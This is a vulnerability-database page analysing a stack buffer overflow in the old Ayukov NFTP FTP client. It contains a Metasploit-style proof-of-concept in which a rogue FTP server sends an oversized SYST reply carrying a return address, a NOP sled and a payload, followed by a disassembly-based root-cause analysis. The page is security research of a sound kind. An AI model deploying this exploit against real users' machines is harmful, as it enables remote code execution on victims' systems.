Attacker Value
Unknown
(1 user assessed)
Exploitability
Unknown
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
0

Ayukov NFTP FTP Client Stack Buffer Overflow Analysis

Disclosure Date: October 24, 2017 Last updated February 13, 2020
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Buffer Overflow vulnerability in Ayukov NFTPD 2.0 and earlier allows remote attackers to execute arbitrary code.

Add Assessment

1
Technical Analysis

Details

Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in 2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it handles the server input. The exploit was tested on Windows XP SP3 (English).

PoC

Here’s an example of how to crash the FTP client:

  # Let the client log in
  client.get_once

  user = "331 OK.\r\n"
  client.put(user)

  client.get_once
  pass = "230 OK.\r\n"
  client.put(pass)

  sploit = "A"*4116
  sploit << [target.ret].pack('V') # JMP ESP here
  sploit << "\x90"*16
  sploit << payload.encoded
  sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length)
  sploit << "\r\n"

  client.put(sploit)

  client.get_once
  pwd = "257\r\n"
  client.put(pwd)
  client.get_once

Root Cause Analysis

When serving the PoC against the vulnerable app, the client’s command prompt shows:

12:28:43 331 OK.
12:28:43 USER anonymous
12:28:43 230 OK.
12:28:43 Successfully logged in as 'anonymous@192.168.0.12'
12:28:43 SYST
12:28:43 .................. Lots of AAAAAs here .....................
12:28:43 TYPE I
12:28:43 257

The interesting part here is that when the client sends a SYST request, the server responds
with a long string of data attempting to cause a crash. This would be a good starting point to
investigate the root cause.

With IDA Pro, we can tell that the SYST string is at the following location:

.text:004096B6 ; char aSyst[]
.text:004096B6 aSyst           db 'SYST',0             ; DATA XREF: sub_409978+B8Co

When we cross reference, we can tell this is used by the OpenControlConnection function.
Although there is no symbol to identify the actual function name “OpenControlConnection”, the
debugging message at the beginning of the function is a big hint:

int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
{
  sub_45AF40(savedregs);
  *(_DWORD *)&name.sa_data[10] = a2;
  *(_DWORD *)&name.sa_data[6] = a3;
  *(_DWORD *)&name.sa_data[2] = a1;
  if ( !dword_477AEC )
    sub_419B4C(1);
  while ( 1 )
  {
    while ( 1 )
    {
      do
      {
        sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]);
        ...

Anyway, inside the OpenControlConnection function, we can see that the SYST command is
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
way):

.text:0040A504                 push    offset aSyst    ; "SYST"
.text:0040A509                 lea     eax, [ebp+charResBuffer]
.text:0040A50F                 push    eax             ; charResBuffer
.text:0040A510                 lea     eax, [ebp+args]
.text:0040A516                 push    eax             ; int
.text:0040A517                 push    0               ; int
.text:0040A519                 call    SendFTPRequest

Inside the SendFTPRequest function, it looks like this:

int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...)
{
  char *v4; // ebx@0
  int v5; // edi@0
  int v6; // esi@0
  char *v7; // edx@1
  char Dst[16384]; // [esp+18h] [ebp-4000h]@2
  char *savedregs; // [esp+4018h] [ebp+0h]@1
  va_list va; // [esp+4030h] [ebp+18h]@1

  va_start(va, Format);
  sub_45AF40(savedregs);
  savedregs = v4;
  v7 = Format;
  if ( Format )
  {
    v4 = Dst;
    // This actually checks the input for the FTP command from the client.
    // The 0x4000u indicates the string should not be longer than that, otherwise
    // there will be a buffer overflow warning in this function.
    snprintf1(Dst, 0x4000u, Format, va);
    v7 = Dst;
  }
  return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7);
}

We were able to tell the second argument for SendFTPRequest is actually a buffer for receiving
the server’s response, because the way it is used:

result = SendFTPRequest(0, (int)args, charResBuffer, "SYST");
if ( result == -4 )
  return result;
if ( result )
  goto LABEL_231;
if ( *(_DWORD *)args == 2 )
{
  sub_445CEC(charResBuffer);
  if ( strstr(charResBuffer, "unix") )
  {
    if ( strstr(charResBuffer, "powerweb") )
    {
      *(_DWORD *)dword_47B1E0 = 6;
      goto LABEL_206;
    }
  }
...

In addition, this buffer is actually on the stack, and it’s 4096 long:

-00001010 charResBuffer   db 4096 dup(?)

This means that if the server responds with something longer than 4096 bytes for the SYST request,
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of
OpenControlConnection, the RETN ends up loading the corrupt data, which may lead to
arbitrary code execution:

.text:0040AC39                 lea     esp, [ebp-2048h]
.text:0040AC3F                 pop     ebx
.text:0040AC40                 pop     esi
.text:0040AC41                 pop     edi
.text:0040AC42                 leave
.text:0040AC43                 retn

Since whoever is using SendFTPRequest is responsible for providing the buffer of the server
response, and there are 47 other cross-references, it is possible there are different ways to
trigger the same bug. However, since it doesn’t look like there is a patch (because the product
is no longer in active development, from the exploit developer’s perspective, it is not necessary
to look for other ways to exploit it).

General Information

Additional Info

Technical Analysis